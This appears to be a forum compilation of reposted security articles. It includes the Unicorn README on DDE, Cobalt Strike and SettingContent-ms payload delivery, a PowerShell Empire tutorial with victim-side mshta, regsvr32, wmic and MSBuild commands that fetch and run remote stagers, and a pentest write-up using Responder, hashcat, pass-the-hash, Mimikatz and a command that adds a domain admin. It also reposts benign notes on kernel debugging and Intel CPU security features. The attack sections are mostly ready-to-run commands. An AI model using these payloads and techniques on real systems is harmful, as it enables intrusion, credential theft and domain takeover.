called by msfconsole -r unicorn.rc to handle the listener for the payload. In addition a download.ps1 will be exported as well (explained in the latter section). In order to apply the payload, as an example (from sensepost article): Open Word Insert tab -> Quick Parts -> Field Choose = (Formula) and click ok. Once the field is inserted, you should now see "!Unexpected End of Formula" Right-click the Field, choose "Toggle Field Codes" Paste in the code from Unicorn Save the Word document. Once the office document is opened, you should receive a shell through powershell injection. Note that DDE is limited on char size and we need to use Invoke-Expression (IEX) as the method to download. The DDE attack will attempt to download download.ps1 which is our powershell injection attack since we are limited to size restrictions. You will need to move the download.ps1 to a location that is accessible by the victim machine. This means that you need to host the download.ps1 in an Apache2 directory that it has access to. You may notice that some of the commands use "{ QUOTE" these are ways of masking specific commands which is documented here: http://staaldraad.github.io/2017/10/23/msword-field-codes/. In this case we are changing WindowsPowerShell, powershell.exe, and IEX to avoid detection. Also check out the URL as it has some great methods for not calling DDE at all. -----Import Cobalt Strike Beacon---- This method will import direct Cobalt Strike Beacon shellcode directly from Cobalt Strike. Within Cobalt Strike, export the Cobalt Strike "CS" (C#) export and save it to a file. For example, call the file, cobalt_strike_file.cs. The export code will look something like this: length: 836 bytes */ byte[] buf = new byte[836] { 0xfc, etc Next, for usage: python unicorn.py cobalt_strike_file.cs cs The cs argument tells Unicorn that you want to use the Cobalt strike functionality. The rest is Magic. Next simply copy the powershell command to something you have the ability for remote command execution. NOTE: THE FILE MUST BE EXPORTED IN THE C# (CS) FORMAT WITHIN COBALT STRIKE TO PARSE PROPERLY. There are some caveats with this attack. Note that the payload size will be a little over 14k+ in byte size. That means that from a command line argument perspective if you copy and paste you will hit the 8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from cmd.exe this is an issue, however if you are launching directly from PowerShell or other normal applications this is a non-problem. A couple examples here, wscript.shell and powershell uses USHORT - 65535 / 2 = 32767 size limit: typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; For this attack if you are launching directly from powershell, VBSCript (WSCRIPT.SHELL), there is no issues. -----Custom Shellcode Generation Method---- This method will allow you to insert your own shellcode into the Unicorn attack. The PowerShell code will increase the stack side of the powershell.exe (through VirtualAlloc) and inject it into memory. Note that in order for this to work, your txt file that you point Unicorn to must be formatted in the following format or it will not work: 0x00,0x00,0x00 and so on. Also note that there is size restrictions. The total length size of the PowerShell command cannot exceed the size of 8191. This is the max command line argument size limit in Windows. Usage: python uniocrn.py shellcode_formatted_properly.txt shellcode Next simply copy the powershell command to something you have the ability for remote command execution. NOTE: THE FILE MUST PROPERLY BE FORMATTED IN A 0x00,0x00,0x00 TYPE FORMAT WITH NOTHING ELSE OTHER THAN YOUR SHELLCODE IN THE TXT FILE. There are some caveats with this attack. Note that if your payload size is large in nature it will not fit in cmd.exe. That means that from a command line argument perspective if you copy and paste you will hit the 8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from cmd.exe this is an issue, however if you are launching directly from PowerShell or other normal applications this is a non-problem. A couple examples here, wscript.shell and powershell uses USHORT - 65535 / 2 = 32767 size limit: typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; For this attack if you are launching directly from powershell, VBSCript (WSCRIPT.SHELL), there is no issues. -----SettingContent-ms Extension Method---- First, if you haven't had a chance, head over to the awesome SpectreOps blog from Matt Nelson (enigma0x3): https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 This method uses a specific file type called ".SettingContent-ms" which allows for the ability for both direct loads from browsers (open + command execution) as well as extension type through embedding in office products. This one specifically will focus on extension type settings for command execution within Unicorn's PowerShell attack vector. There are multiple methods supported with this attack vector. Since there is a limited character size with this attack, the method for deployment is an HTA. For a detailed understanding on weaponizing this attack visit: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/ The steps you'll need to do to complete this attack is generate your .SettingContent-ms file from either a standalone or hta. The HTA method supports Metasploit, Cobalt Strike, and direct shellcode attacks. The four methods below on usage: HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms Generate .SettingContent-ms: python unicorn.py ms The first is a Metasploit payload, the second a Cobalt Strike, the third your own shellcode, and the fourth just a blank .SettingContent-ms file. When everything is generated, it will export a file called Standalone_NoASR.SettingContent-ms either in the default root Unicorn directory (if using the standalone file generation) or under the hta_attack/ folder. You will need to edit the Standalone_NoASR.SettingContent-ms file and replace: REPLACECOOLSTUFFHERE With: mshta http://<apache_server_ip_or_dns_name/Launcher.hta. Then move the contents of the hta_attack to /var/www/html. Once the victim either clicks the .SettingContent-ms file, mshta will be called on the victim machine then download the Unicorn HTA file which has the code execution capabilites. Special thanks and kudos to Matt Nelson for the awesome research Also check out: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/ Usage: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms python unicorn.py <cobalt_strike_file.cs cs ms python unicorn.py <patth_to_shellcode.txt>: shellcode ms python unicorn.py ms Sursa: https://github.com/trustedsec/unicorn

Multiple Ways to Exploiting Windows PC using PowerShell Empire posted in Penetration Testing on February 4, 2019 by Raj Chandel SHARE This is our second post in the article series ‘PowerShell Empire’. In this article we will cover all the exploits that leads to windows exploitation with empire. To our first post on empire series, which gives a basic guide to navigate your way through empire, click here. Table of content: Exploiting through HTA Exploiting through MSBuild.exe Exploiting through regsvr32 XSL exploit Exploiting through visual basic script BAT exploit Multi_launcher exploit Exploiting through HTA This attack helps us to exploit windows through .hta. when .hta file is run via mshta.exe it executes as .exe file with similar functionality which lets us hack our way through. To know more about this attack please click here. To run type ‘./Empire’. According to the work flow, firstly, we have to create a listener to listen on our local machine. Type the following command: listeners 1 listeners After running the above command, it will say that “no listeners are currently active” but don’t worry, we are into the listener interface now. So in this listener interface, type : uselistener http set Host http://192.168.1.107 execute 1 2 3 uselistener http set Host http://192.168.1.107 execute Now that a listener is created, type ‘back’ to go in listener interface to create an exploit. For this, type : usestager windows/hta set Listener http set OutFile /root/1.hta execute 1 2 3 4 usestager windows/hta set Listener http set OutFile /root/1.hta execute Running the above commands will create an .hta file to be used as malware. Start the python server using the following command, in order to share our .hta file: python -m SimpleHTTPServer 8080 1 python -m SimpleHTTPServer 8080 As the python server is up and running, type the following command in victims’ command prompt to execute our malicious file: mshta.exe http:/192.168.1.107:8080/1.hta 1 mshta.exe http:/192.168.1.107:8080/1.hta The moment above command is executed you will have your session, to access the session type : interact XDGM6HLE sysinfo 1 2 interact XDGM6HLE sysinfo Exploiting through MSBuild.exe Our next exploit is via MSBuild.exe, which will let you have a remote session of windows using XML file. To know in details about this attack please click here. And to use this exploit type: listeners uselistener http set Host http:/192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http:/192.168.1.107 execute This creates a listener, type ‘back’ to go in listener interface to create a exploit. For this, type : usestager windows/launcher_xml set Listener http execute 1 2 3 usestager windows/launcher_xml set Listener http execute Now, an .xml file is created in /tmp. Copy this file in victims’ PC (inside Microsoft.NET\Framework\v4.0.30319\) and run it typing combination of following commands: cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ MSBuild.exe launcher.xml 1 2 cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ MSBuild.exe launcher.xml So, this way you will have your session, to access the said session type : interact A8H14C7L sysinfo 1 2 interact A8H14C7L sysinfo Exploiting through regsvr32 Our next method is exploiting through regsvr32. To know in detail about this attack, do click here. As always, we have to create a listener first to listen on our local machine. Type the following command: listeners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http://192.168.1.107 execute Now that a listener is created, type ‘back’ to go in listener interface to create an exploit. For this, type: usestager windows/launcher_sct set Listener http execute 1 2 3 usestager windows/launcher_sct set Listener http execute This will create a .sct file in /tmp. Share this file to victim’s PC using python server and then run this file in run window of victims’ PC by typing the following command: regsvr /u /n /s /i:http://192.168.1.107:8080/launcher.sct scrobj.dll 1 regsvr /u /n /s /i:http://192.168.1.107:8080/launcher.sct scrobj.dll Thus, you will have an active session. To access the session type: interact <session name> sysinfo 1 2 interact <session name> sysinfo Exploiting through XSL XSL is a language will helps you format data, this also describes how web server will interact with using XML. Our next method of attack with empire is by exploiting .xsl file. For this method lets activate our listener first by typing : listeners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http://192.168.1.107 execute As the listener is up and running, create your exploit : usestager windows/launcher_xsl set Listener http execute 1 2 3 usestager windows/launcher_xsl set Listener http execute This way .xsl file is created. Now run the python server from the folder where the .xsl file is created as shown in the image below : cd /tmp python -m SimpleHTTPServer 8080 1 2 cd /tmp python -m SimpleHTTPServer 8080 Now execute the following command in the command prompt of your victim: wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl" 1 wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl" Running above will give a session, to access the session type : interact <session name> sysinfo 1 2 interact <session name> sysinfo Exploiting through Visual Basic script Our next method is to create a malicious VBS file and exploiting our victim through it. Like always, let’s create a listener first. listeners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http://192.168.1.107 execute Now, to create our malicious .vbs file type : usestager windows/launcher_vbs set Listener http execute 1 2 3 usestager windows/launcher_vbs set Listener http execute Next step is to start the python server by typing: python -m SimpleHTTPServer 8080 1 python -m SimpleHTTPServer 8080 Once the .vbs file is shared through python server and executed in the victim’s PC you will have you r session and just like before to access the session type : interact <session name> sysinfo 1 2 interact <session name> sysinfo Exploiting through .bat In this method, we will exploit through .bat file. Like our previous exploits, this time too, let’s create a listener. For this, type: listeners uselistener http set Host http://192.168.1.107 execute back 1 2 3 4 5 listeners uselistener http set Host http://192.168.1.107 execute back The above commands will create a listener for you. Let’s create our .bat file using following command : usestager windows/launcher_bat use Listener http set OutFile /root/1.bat execute 1 2 3 4 usestager windows/launcher_bat use Listener http set OutFile /root/1.bat execute As shown, the above commands will create a .bat file. Start up the python server by using following command to allow you share you .bat file on your victim’s pc. python -m SimpleHTTPServer 8080 1 python -m SimpleHTTPServer 8080 Once you run the .bat file, a session will activate. To access the session type: interact <session name> sysinfo 1 2 interact <session name> sysinfo Multi_launcher This is our last method of this post. It can be used on various platforms such as windows, linux, etc. again, even for this method, create a listener: listerners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listerners uselistener http set Host http://192.168.1.107 execute Then type following commands for create your malicious file: usestager multi/launcher set listerner http execute 1 2 3 usestager multi/launcher set listerner http execute Once you hit enter after the above commands, it will give you a code. Copy this code and paste it in the command prompt of victim and hit enter. As soon as you hit enter, you will have activated a session. To access the session, type: interact <session name> sysinfo 1 2 interact <session name> sysinfo Conclusion The above were the methods that you can use to exploit windows using different vulnerabilities. Using this framework is an addition to your pentesting skills after Metasploit. Enjoy! Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here ABOUT THE AUTHOR Raj Chandel Raj Chandel is a Skilled and Passionate IT Professional especially in IT-Hacking Industry. At present other than his name he can also be called as An Ethical Hacker, A Cyber Security Expert, A Penetration Tester. With years of quality Experience in IT and software industry Sursa: https://www.hackingarticles.in/multiple-ways-to-exploiting-windows-pc-using-powershell-empire/

Gaining Domain Admin from Outside Active Directory Mar 4, 2018 …or why you should ensure all Windows machines are domain joined. This is my first non-web post on my blog. I’m traditionally a web developer, and that is where my first interest in infosec came from. However, since I have managed to branch into penetration testing, initially part time and now full time, Active Directory testing has become my favourite type of penetration test. This post is regarding an internal network test for a client I did earlier in the year. This client’s network is a tough nut to crack, and one I’ve tested before so I was kind of apprehensive of going back to do this test for them in case I came away without having “hacked in”. We had only just managed it the previous time. The first thing I run on an internal is the Responder tool. This will grab Windows hashes from LLMNR or NetBIOS requests on the local subnet. However, this client was wise to this and had LLMNR & NetBIOS requests disabled. Despite already knowing this fact from the previous engagement, one of the things I learned during my OSCP course was to always try the easy things first - there’s no point in breaking in through a skylight if the front door is open. So I ran Responder, and I was surprised to see the following hash captured: Note of course, that I would never reveal client confidential information on my blog, therefore everything you see here is anonymised and recreated in the lab with details changed. Here we can see the host 172.16.157.133 has sent us the NETNTLMv2 hash for the account FRONTDESK. Checking this host’s NetBIOS information with Crack Map Exec (other tools are available), we can check whether this is a local account hash. If it is, the “domain” part of the username: [SMBv2] NTLMv2-SSP Username : 2-FD-87622\FRONTDESK i.e. 2-FD-87622 should match the host’s NetBIOS name if this is the case. Looking up the IP with CME we can see the name of the host matches: So the next port of call we try to crack this hash and gain the plaintext password. Hashcat was loaded against rockyou.txt and rules, and quickly cracked the password. hashcat -m 5600 responder /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule Now we have a set of credentials for the front desk machine. Hitting the machine again with CME but this time passing the cracked credentials: cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth We can see Pwn3d! in the output showing us this is a local administrator account. This means we have the privileges required to dump the local password hashes: cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam Note we can see FRONTDESK:1002:aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f::: This time we are seeing the NTLM hash of the password, rather than the NETNTLMv2 “challenge/response” hash that Responder caught earlier. Responder catches hashes over the wire, and these are different to the format that Windows stores in the SAM. The next step was to try the local administrator hash and spray it against the client’s server range. Note that we don’t even have to crack this administrator password, we can simply “pass-the-hash”: cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth We can only pass-the-hash using the stored NTLM format, not the NETNTLMv2 network format (unless you look to execute an “SMB relay” attack instead). To our surprise, it got a hit, the local administrator password had been reused on the STEWIE machine. Querying this host’s NetBIOS info: $ cme smb 172.16.157.134 SMB 172.16.157.134 445 STEWIE [*] Windows Server 2008 R2 Foundation 7600 x64 (name:STEWIE) (domain:MACFARLANE) (signing:False) (SMBv1:True) We can see it is a member of the MACFARLANE domain, the main domain of the client’s Active Directory. So the non-domain machine had a local administrator password which was reused on the internal servers. We can now use Metasploit to PsExec onto the machine, using the NTLM as the password which will cause Metasploit to pass-the-hash. Once ran, our shell is gained: We can load the Mimikatz module and read Windows memory to find passwords: Looks like we have the DA (Domain Admin) account details. And to finish off, we use CME to execute commands on the Domain Controller to add ourselves as a DA (purely for a POC for our pentest, in real life or to remain more stealthy we could just use the discovered account). cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user markitzeroda hackersPassword! /add /domain /y && net group "domain admins" markitzeroda /add' Note the use of the undocumented /y function to suppress the prompt Windows gives you for adding a password longer than 14 characters. A screenshot of Remote Desktop to the Domain Controller can go into the report as proof of exploitation: So if this front desk machine had been joined to the domain, it would have had LLMNR disabled (from their Group Policy setting) and we wouldn’t have gained the initial access to it and leveraged its secrets in order to compromise the whole domain. Of course there are other mitigations such as using LAPS to manage local administrator passwords and setting FilterAdministratorToken to prevent SMB logins using the local RID 500 account (great post on this here). Sursa: https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html

Single-stepping through the Kernel Feb 3, 2019 tech linux kernel There may come a time in a system programmer’s life where she needs to leave the civilized safety of the userland and confront the unspeakable horrors that dwell in the depths of the Kernel space. While higher beings might pour scorn on the very idea of a Kernel debugger, us lesser mortals may have no other recourse but to single-step through Kernel code when the rivers begin to run dry. This guide will help you do just that. We hope you never actually have to. Ominous sounding intro-bait notwithstanding, setting up a virtual machine for Kernel debugging isn’t really that difficult. It only needs a bit of preparation. If you just want a copypasta, skip to the end. If you’re interested in the predicaments involved and how to deal with them, read on. N.B.: “But which kernel are you talking about?”, some heathens may invariably ask when it is obvious that Kernel with a capital K refers to the One True Kernel. Building the Kernel Using a minimal Kernel configuration instead of the kitchen-sink one that distributions usually ship will make life a lot easier. You will first need to grab the source code for the Kernel you are interested in. We will use the latest Kernel release tarball from kernel.org, which at the time of writing is 4.20.6. Inside the extracted source directory, invoke the following: make defconfig make kvmconfig make -j4 This will build a minimal Kernel image that can be booted in QEMU like so: qemu-system-x86_64 -kernel linux-4.20.6/arch/x86/boot/bzImage This should bring up an ancient-looking window with a cryptic error message: You could try pasting the error message into Google a search engine: Except for the fact that you can’t select the text in the window. And frankly, the window just looks annoying! So, ignoring the actual error for a moment, let’s try to get QEMU to print to the console instead of a spawning a new graphical window: qemu-system-x86_64 -kernel -nographic linux-4.20.6/arch/x86/boot/bzImage QEMU spits out a single line: qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5] Htop tells me QEMU is using 100% of a CPU and my laptop fan agrees. But there is no output whatsoever and Ctrl-c doesn’t work! What does work, however, is pressing Ctrl-a and then hitting x: QEMU: Terminated Turns out that by passing -nographic, we have plugged out QEMU’s virtual monitor. Now, to actually see any output, we need to tell the Kernel to write to a serial port: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -append "console=ttyS0" It worked! Now we can read error message in all its glory: [ 1.333008] VFS: Cannot open root device "(null)" or unknown-block(0,0): error -6 [ 1.334024] Please append a correct "root=" boot option; here are the available partitions: [ 1.335152] 0b00 1048575 sr0 [ 1.335153] driver: sr [ 1.335996] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) [ 1.337104] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 4.20.6 #1 [ 1.337901] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 [ 1.339091] Call Trace: [ 1.339437] dump_stack+0x46/0x5b [ 1.339888] panic+0xf3/0x248 [ 1.340295] mount_block_root+0x184/0x248 [ 1.340838] ? set_debug_rodata+0xc/0xc [ 1.341357] mount_root+0x121/0x13f [ 1.341837] prepare_namespace+0x130/0x166 [ 1.342378] kernel_init_freeable+0x1ed/0x1ff [ 1.342965] ? rest_init+0xb0/0xb0 [ 1.343427] kernel_init+0x5/0x100 [ 1.343888] ret_from_fork+0x35/0x40 [ 1.344526] Kernel Offset: 0x1200000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) [ 1.345956] ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) ]--- So, the Kernel didn’t find a root filesystem to kick off the user mode and panicked. Lets fix that by creating a root filesystem image. Creating a Root Filesystem Start by creating an empty image: qemu-img create rootfs.img 1G And then format it as ext4 and mount it: mkfs.ext4 rootfs.img mkdir mnt sudo mount -o loop rootfs.img mnt/ Now we can populate it using debootstrap: sudo debootstrap bionic mnt/ This will create a root filesystem based on Ubuntu 18.04 Bionic Beaver. Of course, feel free to replace bionic with any release that you prefer. And unmount the filesystem once we’re done. This is important if you want to avoid corrupted images! sudo umount mnt Now boot the Kernel with our filesystem. We need to tell QEMU to use our image as a virtual hard drive and we also need to tell the Kernel to use the hard drive as the root filesystem: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda console=ttyS0" This time the Kernel shouldn’t panic and you should eventually see a login prompt. We could have setup a user while creating the filesystem but it’s annoying to have to login each time we boot up the VM. Let’s enable auto login as root instead. Terminate QEMU (Ctrl-c, x), mount the filesystem image again and then create the configuration folder structure: sudo mount -o loop rootfs.img mnt/ sudo mkdir -p mnt/etc/systemd/system/serial-getty@ttyS0.service.d Add the following lines to mnt/etc/systemd/system/serial-getty@ttyS0.service.d/autologin.conf: [Service] ExecStart= ExecStart=-/sbin/agetty --noissue --autologin root %I $TERM Type=idle Make sure to unmount the filesystem and then boot the Kernel again. This time you should be automatically logged in. Gracefully shutdown the VM: halt -p Attaching a debugger Let’s rebuild the Kernel with debugging symbols enabled: ./scripts/config -e CONFIG_DEBUG_INFO make -j4 Now, boot the Kernel again, this time passing the -s flag which will make QEMU listen on TCP port 1234: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda console=ttyS0" -s Now, in another terminal start gdb and attach to QEMU: gdb ./linux-4.20.6/vmlinux ... Reading symbols from ./linux-4.20.6/vmlinux...done. (gdb) target remote :1234 Remote debugging using :1234 0xffffffff95a2f8f4 in ?? () (gdb) You can set a breakpoint on Kernel function, for instance do_sys_open(): (gdb) b do_sys_open Breakpoint 1 at 0xffffffff811b2720: file fs/open.c, line 1049. (gdb) c Continuing. Now try opening a file in VM which should result in do_sys_open() getting invoked… And nothing happens?! The breakpoint in gdb is not hit. This due to a Kernel security feature called KASLR. KASLR can be disabled at boot time by adding nokaslr to the Kernel command line arguments. But, let’s actually rebuild the Kernel without KASLR. While we are at it, let’s also disable loadable module support as well which will save us the trouble of copying the modules to the filesystem. ./scripts/config -e CONFIG_DEBUG_INFO -d CONFIG_RANDOMIZE_BASE -d CONFIG_MODULES make olddefconfig # Resolve dependencies make -j4 Reboot the Kernel again, attach gdb, set a breakpoint on do_sys_open() and run cat /etc/issue in the guest. This time the breakpoint should be hit. But probably not where you expected: Breakpoint 1, do_sys_open (dfd=-100, filename=0x7f96074ad428 "/etc/ld.so.cache", flags=557056, mode=0) at fs/open.c:1049 1049 { (gdb) c Continuing. Breakpoint 1, do_sys_open (dfd=-100, filename=0x7f96076b5dd0 "/lib/x86_64-linux-gnu/libc.so.6", flags=557056, mode=0) at fs/open.c:1049 1049 { (gdb) c Continuing. Breakpoint 1, do_sys_open (dfd=-100, filename=0x7ffe9e630e8e "/etc/issue", flags=32768, mode=0) at fs/open.c:1049 1049 { (gdb) Congratulations! From this point, you can single-step away to your heart’s content. By default, the root filesystem is mounted read only. If you want to be able to write to it, add rw after root=/dev/sda in the Kernel parameters: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda rw console=ttyS0" -s Bonus: Networking You can create a point to point link between the QEMU VM and the host using a TAP interface. First install tunctl and create a persistent TAP interface to avoid running QEMU as root: sudo apt install uml-utilities sudo sudo tunctl -u $(id -u) Set 'tap0' persistent and owned by uid 1000 sudo ip link set tap0 up Now launch QEMU with a virtual e1000 virtual interface connected the host’s tap0 interface: qemu-system-x86_64 -nographic -device e1000,netdev=net0 -netdev tap,id=net0,ifname=tap0 -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda rw console=ttyS0" -s Once the guest boots up, bring the network interface up: ip link set enp0s3 up ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff inet6 fe80::5054:ff:fe12:3456/64 scope link valid_lft forever preferred_lft forever QEMU and the host can now communicate using their IPv6 Link-local addresses. After all, it is 2019. Copypasta # Building a minimal debuggable Kernel make defconfig make kvmconfig ./scripts/config -e CONFIG_DEBUG_INFO -d CONFIG_RANDOMIZE_BASE -d CONFIG_MODULES make olddefconfig make -j4 # Create root filesystem mkfs.ext4 rootfs.img mkdir mnt sudo mount -o loop rootfs.img mnt/ sudo debootstrap bionic mnt/ # Add following lines to mnt/etc/systemd/system/serial-getty@ttyS0.service.d/autologin.conf # START [Service] ExecStart= ExecStart=-/sbin/agetty --noissue --autologin root %I $TERM Type=idle # END # Unmount the filesystem sudo umount mnt # Boot Kernel with root file system in QEMU qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda rw console=ttyS0" -s # Attach gdb gdb ./linux-4.20.6/vmlinux (gdb) target remote :1234 Sursa: https://www.anmolsarma.in/post/single-step-kernel/

Intel CPU security features huku edited this page on Jul 31, 2016 · 23 revisions Intel CPU security features List of Intel CPU security features along with short descriptions taken from the Intel manuals. WP (Write Protect) (PDF) Quoting Volume 3A, 4-3, Paragraph 4.1.3: CR0.WP allows pages to be protected from supervisor-mode writes. If CR0.WP = 0, supervisor-mode write accesses are allowed to linear addresses with read-only access rights; if CR0.WP = 1, they are not (User-mode write accesses are never allowed to linear addresses with read-only access rights, regardless of the value of CR0.WP). Interesting links: WP: Safe or Not? NXE/XD (No-Execute Enable/Execute Disable) (PDF) Regarding IA32_EFER MSR and NXE (Volume 3A, 4-3, Paragraph 4.1.3): IA32_EFER.NXE enables execute-disable access rights for PAE paging and IA-32e paging. If IA32_EFER.NXE = 1, instructions fetches can be prevented from specified linear addresses (even if data reads from the addresses are allowed). IA32_EFER.NXE has no effect with 32-bit paging. Software that wants to use this feature to limit instruction fetches from readable pages must use either PAE paging or IA-32e paging. Regarding XD (Volume 3A, 4-17, Table 4-11): If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 4-KByte page controlled by this entry; see Section 4.6); otherwise, reserved (must be 0). SMAP (Supervisor Mode Access Protection) (PDF) Quoting Volume 3A, 4-3, Paragraph 4.1.3: CR4.SMAP allows pages to be protected from supervisor-mode data accesses. If CR4.SMAP = 1, software operating in supervisor mode cannot access data at linear addresses that are accessible in user mode. Software can override this protection by setting EFLAGS.AC. SMEP (Supervisor Mode Execution Protection) (PDF) Quoting Volume 3A, 4-3, Paragraph 4.1.3: CR4.SMEP allows pages to be protected from supervisor-mode instruction fetches. If CR4.SMEP = 1, software operating in supervisor mode cannot fetch instructions from linear addresses that are accessible in user mode. MPX (Memory Protection Extensions) (PDF) Intel MPX introduces new bounds registers and new instructions that operate on bounds registers. Intel MPX allows an OS to support user mode software (operating at CPL = 3) and supervisor mode software (CPL < 3) to add memory protection capability against buffer overrun. It provides controls to enable Intel MPX extensions for user mode and supervisor mode independently. Intel MPX extensions are designed to allow software to associate bounds with pointers, and allow software to check memory references against the bounds associated with the pointer to prevent out of bound memory access (thus preventing buffer overflow). Interesting links: Intel MPX support in the GCC compiler Intel Memory Protection Extensions (Intel MPX) for Linux intel_mpx.txt in Linux Kernel documentation SGX (Software Guard Extensions) (PDF) These extensions allow an application to instantiate a protected container, referred to as an enclave. An enclave is a protected area in the application’s address space (see Figure 1-1), which provides confidentiality and integrity even in the presence of privileged malware. Accesses to the enclave memory area from any software not resident in the enclave are prevented. Interesting links: Intel Software Guard Extensions (SGX): A Researcher’s Primer CreateEnclave function at MSDN Protection keys (PDF) Quoting Volume 3A, 4-31, Paragraph 4.6.2: The protection-key feature provides an additional mechanism by which IA-32e paging controls access to user-mode addresses. When CR4.PKE = 1, every linear address is associated with the 4-bit protection key located in bits 62:59 of the paging-structure entry that mapped the page containing the linear address. The PKRU register determines, for each protection key, whether user-mode addresses with that protection key may be read or written. The following paragraphs, taken from LWN, shed some light on the purpose of memory protection keys: One might well wonder why this feature is needed when everything it does can be achieved with the memory-protection bits that already exist. The problem with the current bits is that they can be expensive to manipulate. A change requires invalidating translation lookaside buffer (TLB) entries across the entire system, which is bad enough, but changing the protections on a region of memory can require individually changing the page-table entries for thousands (or more) pages. Instead, once the protection keys are set, a region of memory can be enabled or disabled with a single register write. For any application that frequently changes the protections on regions of its address space, the performance improvement will be large. There is still the question (as asked by Ingo Molnar) of just why a process would want to make this kind of frequent memory-protection change. There would appear to be a few use cases driving this development. One is the handling of sensitive cryptographic data. A network-facing daemon could use a cryptographic key to encrypt data to be sent over the wire, then disable access to the memory holding the key (and the plain-text data) before writing the data out. At that point, there is no way that the daemon can leak the key or the plain text over the wire; protecting sensitive data in this way might also make applications a bit more resistant to attack. Another commonly mentioned use case is to protect regions of data from being corrupted by "stray" write operations. An in-memory database could prevent writes to the actual data most of the time, enabling them only briefly when an actual change needs to be made. In this way, database corruption due to bugs could be fended off, at least some of the time. Ingo was unconvinced by this use case; he suggested that a 64-bit address space should be big enough to hide data in and protect it from corruption. He also suggested that a version of mprotect() that optionally skipped TLB invalidation could address many of the performance issues, especially if huge pages were used. Alan Cox responded, though, that there is real-world demand for the ability to change protection on gigabytes of memory at a time, and that mprotect() is simply too slow. CET (Control-flow Enforcement Technology) (PDF) Control-flow Enforcement Technology (CET) provides the following capabilities to defend against ROP/JOP style control-flow subversion attacks: Shadow Stack – return address protection to defend against Return Oriented Programming, Indirect branch tracking – free branch protection to defend against Jump/Call Oriented Programming. Sursa: https://github.com/huku-/research/wiki/Intel-CPU-security-features

PentestHardware Kinda useful notes collated together publicly Comments and Fixes - some very kind people have begun to proofread this as I am writing it. It's still a long way from being finished, but comments are always welcome. Make an issue and provide comments in-PDF if you can. NB - this is very much a work in progress, released early for comments and feedback. Hoping to complete first full version by XMas 2018. For the current releases, this material is released under Creative Commons v3.0 - quote me all you like, and reference my work no problem, print copies for yourselves, but just leave my name on it. Sursa: https://github.com/unprovable/PentestHardware

Matt harr0ey Feb 2 Introduction This beginning alludes to give point simple concept related to using Winrm.vbs to do code executed by XML file so I could collect a few ideas we totally can use to do a simple method is being offered by the red team like Winrm.vbs is getting more popular so I found some things can’t waste any more time to release them, Winrm.vbs ==> Windows Remote Management Synopsis Winrm is simple service to manage your code execute or instruction on any systems via your computer using WS-Management protocol but this service isn’t being offered here in this a blog post I just give local execute but this may happen remotely if you connect with any servers or computers further information, https://docs.microsoft.com/en-us/windows/desktop/winrm/about-windows-remote-management Usage XML/Winrm.vbs First of all if you just heard about XML/Winrm.vbs here at this time when you saw this a blog post I would say, Yes this research winrm.vbs is totally different from any XML codes else so you can go to have a look at this Microsoft’s concept It gives good description to understand Winrm’s instruction to use So what’s the relationship between normal XML and Winrm XML I think the different from normal XML code and Winrm.vbs code is simple different between them there is something called normal 